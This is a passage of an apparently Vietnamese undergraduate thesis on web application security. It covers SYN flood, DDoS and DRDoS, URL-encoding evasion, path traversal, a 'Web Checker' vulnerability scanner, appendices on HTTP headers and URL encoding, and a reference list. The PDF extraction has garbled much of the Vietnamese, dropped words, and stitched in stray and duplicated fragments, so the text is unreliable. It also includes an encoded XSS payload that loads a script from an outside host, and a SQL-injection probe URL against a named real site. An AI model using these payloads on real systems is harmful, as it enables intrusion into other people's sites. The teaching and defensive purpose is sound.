Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) III.2 Lợi dụng TCP thực phương pháp SYN flood truyền thống: Hình 9.III.2-1: Tấn cơng DoS truyền thống Như đề cập vấn đề thiết lập kết nối phần 1, gói tin SYN, máy chủ phải để phần tài nguyên hệ thống nhớ đệm để nhận truyền liệu cho đường truyền Tuy nhiên, tài nguyên hệ thống có hạn hacker tìm cách để hệ thống tràn qua giới hạn ( Đây cịn gọi half-open connection máy khách mở kết nối chừng) Theo hình 9.III.2-1: Nếu máy chủ sau gửi trả gói tin SYN/ACK để thơng báo chấp nhận kết nối cho máy yêu cầu địa IP máy yêu cầu giả mạo gói tin khơng thể đến đích, nên máy chủ phải dành tài nguyên cho yêu cầu Sau thời gian khơng nhận phản hồi từ máy khách, máy chủ lại tiếp tục gửi gói tin SYN/ACK để xác nhận lần vậy, kết nối tiếp tục mở Nếu hacker gửi nhiều gói tin SYN đến máy chủ đến máy chủ tiếp nhận thêm kết nối lúc hệ thống bị phá vỡ -Trang 112- Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) Kết luận: Chỉ với đường truyền băng thơng nhỏ, hacker phá vỡ hệ thống Thêm vào đó, địa IP hacker sửa đổi nên việc xác định thủ phạm vấn đề khó khăn III.3 Tấn công vào băng thông III.3.1 Kiểu công thứ Hacker hồn tồn có khả làm ngập hệ thống băng thơng hacker lớn băng thơng máy đích Kiểu cơng khơng bị hạn chế tốc độ truyền mạng Ví dụ 9.III.3.1-1: Hacker có đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay lớn dễ dàng phá vỡ hệ thống có đường truyền 56Kbps III.3.2 Kiểu công thứ Kiểu công sử dụng đường truyền mạng hacker thấp so với đường truyền máy đích Khơng giống kiểu công DoS truyền thống ( phần ), kiểu công vào băng thông lớn lợi dụng gói tin từ hệ thống khác lúc tiến đến hệ thống đích khiến cho đường truyền hệ thống đích khơng cịn khả đáp ứng, máy chủ khơng cịn khả nhận gói tin -Trang 113- Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) Hình 9.III.3.2-1: Kiểu cơng DoS vào băng thơng Theo hình 9.III.3.2-1, tất gói tin vào mạng máy tính qua "Big-Pipe" ( ống dẫn lớn ), sau router chia "Small Pipe" ( ống dẫn nhỏ ) cho nhiều máy tính tùy theo địa IP gói tin Nhưng tồn "Big-Pipe" bị làm ngập gói tin hướng đến máy định mạng máy tính này, router đành phải chấp nhận loại bỏ phần lớn packet để lại số lượng vừa đủ qua "Small Pipe" máy tính Kiểu cơng loại máy đích khỏi Internet Đây phương pháp công kiểu từ chối dịch vụ không DoS mà gọi DDoS ( kiểu từ chối dịch vụ phân tán ), nghĩa lúc nhiều máy phát động để gửi gói tin đến máy đích ( đường truyền máy không cao nhiều đường truyền lại hợp thành ống dẫn “ Big Pipe”), làm cho máy đích khơng cịn khả tiếp nhận gói tin bị loại khỏi mạng Internet, sơ đồ minh họa sau:ợc router chia "Sm -Trang 114- Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) computer tùy Hình 9.III.3.2-2: Tấn công DDoS DRDoS (Distributed Reflection Denial of Service) - Thế hệ DDoS: Đây nguyên nhân khiến cho trang grc.com bị phá vỡ Hình sau minh họa kiểu cơng DRDoS -Trang 115- Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) Hình 9.III.3.2-3 Tấn cơng kiểu DRDoS Bằng cách giả địa IP máy đích, hacker lúc gửi nhiều gói tin đến hệ thống máy mạnh mạng, hệ thống nhận gói tin SYN giả này, chấp nhận kết nối gửi trả gói tin SYN/ACK để thơng báo Vì địa IP gói tin SYN bị hacker sửa đổi thành địa IP máy đích nên gói tin SYN/ACK gửi cho máy đích Cùng lúc nhận nhiều gói tin, đường truyền máy đích khơng đủ khả đáp ứng, hệ thống máy đích từ chối nhận gói tin lúc hệ thống máy đích bị sụp đổ -Trang 116- Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) III.4 Kiểu công vào tài nguyên hệ thống Đây kiểu công nhằm vào tài nguyên hệ thống tài nguyên mạng CPU, nhớ, file hệ thống, tiến trình… Hacker người dùng hợp lệ hệ thống, lượng tài nguyên giới hạn hệ thống Tuy nhiên, hacker lạm dụng quyền truy cập để yêu cầu thêm tài nguyên Như vậy, hệ thống hay người dùng hợp lệ bị từ chối sử dụng tài nguyên chia sẻ Kiểu công khiến cho hệ thống sử dụng tài nguyên bị sử dụng hết, khơng cịn tiến trình để thực thi IV BIỆN PHÁP PHỊNG CHỐNG Kiểu cơng từ chối dịch vụ kiểu cơng gây nhiều khó khăn vấn đề bảo vệ điều tra tìm thủ phạm nhất, hầu hết hacker thay đổi địa IP máy nên khó xác định thủ phạm Để phịng chống khả khuyếch đại đường truyền, cần: • Huỷ khả broadcast router biên • Tăng kích thước hàng đợi kết nối -> kết quả: phịng tránh khả tràn hàng đợi qua nhiều kết nối, cách sử dụng nhiều tài nguyên • Giảm thời gian thiết lập kết nối • Dùng phần mềm phát phá hủy kiểu công DoS: Hầu hết hệ điều hành hỗ trợ khả phát phịng chống kiểu cơng lụt SYN -Trang 117- Khoa CNTT Chương 9: Từ chối dịch vụ (Dos) Tuy nhiên có phần mềm có khả tránh kiểu cơng Ví dụ với Linux kernels 2.0.30 sau cài đặt tùy chọn gọi SYN Cookie, kernel có nhiệm vụ truy tìm lưu vết khả xảy kĩ thuật SYN Sau đó, kernel sử dụng giao thức mã hoá SYN cookie cho phép người dùng hợp lệ hệ thống tiếp tục kết nối đến hệ thống Với WindowNT 4.0 trở sau, sử dụng kĩ thuật backlog, hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài nguyên cho hàng đợi, hàng đợi khơng bị phá vỡ • Ứng dụng cho phép máy thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker gửi lúc nhiều yêu câu gây tắc nghẽn Nhận xét: Kiểu công từ chối dịch vụ khiến cho hệ thống bị phá vỡ vài phút hậu to lớn (ảnh hưởng phạm vi tiền uy tín) Đây kĩ thuật thường hacker sử dụng trường hợp chiếm quyền quản trị hệ thống thông tin, muốn phá hủy uy tín quan đó.Thêm vào việc giả mạo địa khiến cho hacker dễ dàng thực viêc công mà không sợ bị phát Thông thường kĩ thuật thực kèm theo hỗ trợ vài công cụ ping of death, teardrop…Những công cụ liệt kê thêm chương -Trang 118- Khoa CNTT Chương 10: Một số kĩ thuật công khác Chương 10 MỘT SỐ KĨ THUẬT TẤN CÔNG KHÁC Nội dung : I Mã hóa URL II Kiểu cơng vượt đường dẫn III Tấn cơng dựa vào kí tự rỗng IV Ngơn ngữ trình chủ -Trang 119- Khoa CNTT Chương 10: Một số kĩ thuật công khác CHƯƠNG 10: MỘT SỐ KĨ THUẬT TẤN CƠNG KHÁC I Mà HĨA URL (URL Encoding) I.1 Khái niệm Theo RFC 1738 định nghĩa URL RFC 2369 cho URIs, kí tự giới hạn sử dụng URL URI tập kí tự US-ASCII Theo RFC 1738, 2369 kí tự chữ số, kí tự đặc biệt “ $-_.+!*’() ” số kí tự dành riêng khơng bị mã hố URL hay URIs Cịn kí tự đặc biệt khác mã hóa khoảng trắng, < > ”…Sau trình chủ nhận liệu này, trình chủ tự động giải mã để thao tác bình thường Vậy hacker lợi dụng URL mã hóa Những nhà phát triển ứng dụng thiết kế ứng dụng để kiểm tra liệu nhập vào người dùng có hợp lệ hay khơng, kí tự đặc biệc < > thẻ script thường dùng kĩ thuật công XSS bị lọai bỏ Vậy để hợp thức hóa nội dung liệu cần nhập, hacker thay nhập trực tiếp kí tự đặc biệt vào nhập họ nhập kí tự mã hố theo chuẩn RFC 1738, RFC 2369 Như cách đó, hacker dễ dàng vượt qua kiểm soát -Trang 120- Khoa CNTT Chương 10: Một số kĩ thuật công khác Ví dụ 10.I.1-1: http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22htt p%3a%2f%2fwww.yourserver.com%2fbadscript.js%22%3e%3c%2fscript%3e Biến mydata mang nội dung: I.2 Một số biện pháp phòng chống • Tránh sử dụng phương thức GET dùng GET, liệu dễ dàng thêm vào URL Vì thế, sử dụng phương thức POST • Trong trường hợp URL bắt buộc sử dụng để chuyển liệu lên trình chủ, cần giới hạn kiểu liệu, nên kiểm tra liệu ứng dụng trước sử dụng • Khơng nên sử dụng ngôn ngữ máy khách để kiểm tra tính đắn liệu II KIỂU TẤN CƠNG VƯỢT ĐƯỜNG DẪN II.1 Khái niệm Nhiều ứng dụng sử dụng tập tin hệ thống trình chủ “lớp trình bày” để hiển thị thơng tin lưu trử tạm thời Những tập tin bao gồm tập tin hình ảnh , tập tin HTML, hay ứng dụng CGI Thư mục WWW-ROOT thư mục gốc ảo bên trình chủ, nơi mà truy xuất trình duyệt Ứng dụng lưu trữ thơng tin bên bên ngịai WWW-ROOT Nếu ứng dụng khơng kiểm tra kí tự đặc biệt, thường sử dụng đường dẫn “/” ứng dụng có lỗ hổng cho kiểu cơng -Trang 121- Khoa CNTT Chương 13: Chương trình Web Checker • Kết quả: Liệt kê kết sau kiểm tra gồm vị trí kiểm tra an tồn hay khơng an tồn lỗ hổng mà vị trí mắc phải • Lời khuyên: Nếu phát lỗi hiển thị cách phịng chống lỗi chọn tên lỗi bên phần kết III.3.2 Cách sử dụng Người dùng gõ địa vào liên kết đến trang web cần kiểm tra Sau chọn nút kiểm tra, chương trình hiển thị kết lời khuyên cách phòng chống lỗ hổng bị mắc phải Hình 13.III.3.2-1: Màn hình thơng báo kết -Trang 152- Khoa CNTT Chương 13: Chương trình Web Checker Chương trình đánh dấu trực tiếp vào trang Web vị trí kiểm tra (màu xanh an toàn, màu đỏ khơng an tồn) IV Đánh giá chương trình Những vấn đề đạt vấn đề hạn chế chương trình sau thử nghiệm mạng ảo Internet: IV.1 Những vấn đề đạt • Thông phát số lỗi bảo mật SQL Injection, Form Field Manipulation, URL Manipulation Ứng dụng Web Interbet để minh họa cho phần lý thuyết kỹ thuật • Thể rõ ràng, trực quan kết vị trí kiểm tra • Đưa gợi ý biện pháp phòng chống lỗi bảo mật phát Ví dụ 13.IV.1-1: Chương trình phát lỗi bảo mật SQL Injection ứng dụng Web (www.progenic.com) Cụ thể liên kết đến nội dung tin tức không kiểm tra liệu nhập http://www.progenic.com/out/?id=5’ IV.2 Những vấn đề hạn chế • Do sử dụng chế đơn giản kiểm thử đánh giá kết nhận được, nên chương trình khơng thể phát lỗi bảo mật phức tạp • Hiệu đạt thấp ứng dụng có cách thiết kế lạ -Trang 153- Khoa CNTT Chương 13: Chương trình Web Checker Ví dụ 13.IV.2-1: Chương trình không phát lỗi với ứng dụng Web (www.thanglongmetalwares.com/sanpham.asp) ứng dụng có lỗi bảo mật SQL Injection Nguyên nhân thất bại ứng dụng lưu trữ câu truy vấn đối tượng form nên chương trình kiểm tra form làm thay đổi câu truy vấn nên làm thay đổi hoạt động ứng dụng Web -Trang 154- * FROM Khoa CNTT Kết luận KẾT LUẬN Nội dung: I Những vấn đề đạt II Hướng phát triển -Trang 155- Khoa CNTT Kết luận KẾT LUẬN I NHỮNG VẤN ĐỀ ĐẠT ĐƯỢC Theo yêu cầu đặt ban đầu “Nghiên cứu kĩ thuật công bảo mật ứng dụng Web”, thời điểm tại, luận văn đạt nội dung sau: • Tìm hiểu kĩ thuật công ứng dụng Web bao gồm kĩ thuật o Thao tác tham số truyền URL, biến ẩn form, cookie, HTTP header o Chèn mã lệnh thực thi trình khách Cross-site Scripting o Chèn câu truy vấn SQL o Đánh chiếm phiên làm việc người dùng o Tràn đệm o Từ chối dịch vụ o Các kĩ thuật khác như: Mã hóa URL, vượt đường dẫn, kí tự rỗng, ngơn ngữ phía trình chủ,… • Các biện pháp bảo mật từ kết hợp nhà quản trị mạng, nhà thiết kế ứng dụng Web người dùng • Về chương trình “Web Checker” đạt số nội dung sau: o Kiểm tra trang Web có khả bị công kĩ thuật chèn câu lệnh SQL, thay đổi tham số hay không o Chương trình cho phép người dùng thực giao tiếp với trình chủ giống trình duyệt thơng thường -Trang 156- Khoa CNTT Kết luận II HƯỚNG PHÁT TRIỂN Trong phạm vi luận văn đại học, luận văn đạt yêu cầu đặt Tuy nhiên, kết khiêm tốn hạn chế tài liệu thời gian Trong thời gian tới, có điều kiện, luận văn cố gắng phát triển thêm nội dung sau: • Tìm hiểu thêm kĩ thuật công để đưa phương pháp bảo mật ứng dụng Web mức độ sâu • Tìm hiểu vấn đề bảo mật sâu hơn, không dừng mức độ ứng dụng Web mà phát triển vần đề bảo mật hệ thống mạng dịch vụ • Khai triển chương trình phát lỗ hổng tốt hơn, nhiều phương diện kĩ thuật • Phát triển chương trình Proxy trình chủ với trình duyệt Mọi yêu cầu từ trình duyệt hay trả lời từ trình chủ phải qua chương trình Bất chương trình kiểm tra thấy khả cơng từ trình duyệt, chương trình từ chối yêu cầu đóng kết nối -Trang 157- Khoa CNTT Phụ lục Phụ lục Nội dung: A HTTP header B URL Encoding C Server Side Include -Trang 158- Khoa CNTT Phụ lục Phụ lục A: HTTP HEADER • Các tham số thơng thường tham số dùng HTTP request HTTP response Tên Giá trị ví dụ Cache-Control max-age=10 Connection Close Date Tue, 11 Jul 2000 18:23:51 GMT Pragma no-cache Trailer Date Transfer-Encoding Chunked Upgrade SHTTP/1.3 Via HTTP/1.1 Proxy1, HTTP/1.1 Proxy2 Warning 112 Disconnected Operation • Các tham số dùng HTTP Request Tên Giá trị ví dụ Accept text/html, image/* Accept-Charset iso8859-5 Accept-Encoding gzip, compress Accept-Language en, fr Authorization [credentials] Content-Encoding Gzip Expect 100-continue From user@microsoft.com -Trang 159- Khoa CNTT Phụ lục Host www.microsoft.com If-Match entity_tag001 If-Modified-Since Tue, 11 Jul 2000 18:23:51 GMT If-None-Match entity_tag001 If-Range entity_tag001 hay Tue, 11 Jul 2000 18:23:51 GMT If-Unmodified-Since Tue, 11 Jul 2000 18:23:51 GMT Max-Forwards Proxy-Authorization [credentials] Range Bytes=100-599 Referer http://www.microsoft.com/resources.asp TE trailers User-Agent Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) • Các tham số dùng HTTP Response Tên Giá trị ví dụ Accept-Ranges None Age 2147483648(2^31) ETag b38b9-17dd-367c5dcd Last-Modified Tue, 11 Jul 2000 18:23:51 GMT Location http://localhost/redirecttarget.asp Proxy-Authenticate [challenge] Retry-After Tue, 11 Jul 2000 18:23:51 GMT hay 60 Server Microsoft-IIS/5.0 Vary Date WWW-Authenticate [challenge] -Trang 160- Khoa CNTT Phụ lục • Các tham số thực thể có thề dùng HTTP request HTTP response Các tham số cho biết thơng tin phần thân, ví dụ chuẩn mã hoá sử dụng Tên Giá trị ví dụ Allow GET, HEAD Content-Encoding Gzip Content-Language En Content-Length 8445 Content-Location http://localhost/page.asp Content-MD5 [md5-digest] Content-Range Bytes 2543-4532/7898 Content-Type text/html Expires Tue, 11 Jul 2000 18:23:51 GMT Last-Modified Tue, 11 Jul 2000 18:23:51 GMT -Trang 161- Khoa CNTT Phụ lục Phụ lục B: URL ENCODING Kí tự Mã Hexa %90 À %c0 ð %f0 ‘ %91 Á %c1 ñ %f1 %62 ’ %92  %c2 ò %f2 c %63 “ %93 à %c3 ó %f3 %34 d %64 ” %94 Ä %c4 %f4 %35 e %65 • %95 Å %c5 õ %f5 %06 %36 f %66 – %96 Ỉ %c6 %f6 %07 %37 g %67 %97 ầ %c7 ữ %f7 backspace %08 %38 h %68 ˜ %98 È %c8 ø %f8 %09 %39 i %69 ™ %99 É %c9 ù %f9 linefeed %0a : %3a j %6a š %9a Ê %ca ú %fa %0b ; %3b k %6b › %9b Ë %cb û %fb %0c < %3c l %6c œ %9c Ì %cc ü %fc c return %0d = %3d m %6d %9d Í %cd ý %fd %0e > %3e n %6e %9e ẻ %ce ỵ %fe %0f ? %3f o %6f Ÿ %9f Ï %cf ÿ %ff %10 @ %40 p %70 %a0 Ð %d0 %11 A %41 q %71 ¡ %a1 Ñ %d1 %12 B %42 r %72 ¢ %a2 Ò %d2 %13 C %43 s %73 £ %a3 Ĩ %d3 %14 D %44 t %74 %a4 Ơ %d4 %15 E %45 u %75 ¥ %a5 Õ %d5 %16 F %46 v %76 | %a6 Ö %d6 %17 G %47 w %77 § %a7 %18 H %48 x %78 ă %a8 ỉ %d8 %19 I %49 y %79 © %a9 Ù %d9 %1a J %4a z %7a ª %aa Ú %da %1b K %4b { %7b « %ab Û %db %30 ` %60 %31 a %61 %02 %32 b %03 %33 %04 %05 tab %00 %01 æ -Trang 162- %d7 Khoa CNTT Phụ lục %1c L %4c | %7c ¬ %ac Ü %dc %1d M %4d } %7d ¯ %ad Ý %dd %1e N %4e ~ %7e đ %ae ị %de %1f O %4f %7f ¯ %af ß %df space %20 P %50 %80 ° %b0 %e0 ! %21 Q %51 %81 ± %b1 %e1 " %22 R %52 ‚ %82 ² %b2 â %e2 # %23 S %53 ƒ %83 ³ %b3 ã %e3 $ %24 T %54 „ %84 ´ %b4 ä %e4 % %25 U %55 … %85 µ %b5 å %e5 & %26 V %56 † %86 ¶ %b6 æ %e6 ' %27 W %57 ‡ %87 à %b7 ỗ %e7 ( %28 X %58 %88 ¸ %b8 è %e8 ) %29 Y %59 ‰ %89 ¹ %b9 é %e9 * %2a Z %5a Š %8a º %ba ê %ea + %2b [ %5b ‹ %8b » %bb ë %eb , %2c \ %5c Œ %8c ¼ %bc ì %ec - %2d ] %5d %8d ½ %bd í %ed %2e ^ %5e %8e ¾ %be î %ee / %2f _ %5f %8f ¿ %bf ï %ef € Ž -Trang 163- Khoa CNTT Phụ lục Phụ lục C: SERVER SIDE INCLUDE Câu lệnh SSI chia làm phần: + Câu lệnh + Câu lệnh điều khiển Câu lệnh Ví dụ Tham số Giải thích CONFIG Sizefmt, datefmt điều khiển kích thước file ngày COOKIE Get, alt, if, then , chủ COUNT tổng số kết nối ECHO reqheader, here cầu, biến Cmd thực thi câu lệnh EXEC FLASHMOD FSize INCLUDE ifheader, else trang hành tham số Câu lệnh điều khiển -Trang 164- Khoa CNTT Phụ lục COUNTER ELSE Name ENDIF Name ENDLOOP Name EXITLOOP equals equals Name IF LOOP -Trang 165- Khoa CNTT Tài liệu tham khảo TÀI LIỆU THAM KHẢO • Hacking Exposed, Stuart McClure, Joel Scambray, George Kurtz • RFC2617, J.Franks, P Hallam-Baker, J.Hostetler, S Lawrence, P Leach, A Luotonen, L Stewart – 06/1999 • http://www.sqlsecurity.com/ • http://www.nextgenss.com/papers/ • http://www.owasp.org/ • http://www.4guysfromrolla.com/webtech/ • http://www.guardent.com/ • http://www.idefense.com/ • http://www.jmu.edu/computing/info-security/engineering/issues/ • http://www.microsoft.com/technet/support/ • http://www.microsoft.com/technet/security/ • http://community.whitehatsec.com/ • http://www.codeproject.com/ -Trang 166- ... thêm kĩ thuật công để đưa phương pháp bảo mật ứng dụng Web mức độ sâu • Tìm hiểu vấn đề bảo mật sâu hơn, không dừng mức độ ứng dụng Web mà phát triển vần đề bảo mật hệ thống mạng dịch vụ • Khai triển... phát lỗi bảo mật phức tạp • Hiệu đạt thấp ứng dụng có cách thiết kế lạ -Trang 15 3- Khoa CNTT Chương 13: Chương trình Web Checker Ví dụ 13. IV. 2-1 : Chương trình khơng phát lỗi với ứng dụng Web (www.thanglongmetalwares.com/sanpham.asp)... vấn đề đạt vấn đề hạn chế chương trình sau thử nghiệm mạng ảo Internet: IV.1 Những vấn đề đạt • Thơng phát số lỗi bảo mật SQL Injection, Form Field Manipulation, URL Manipulation Ứng dụng Web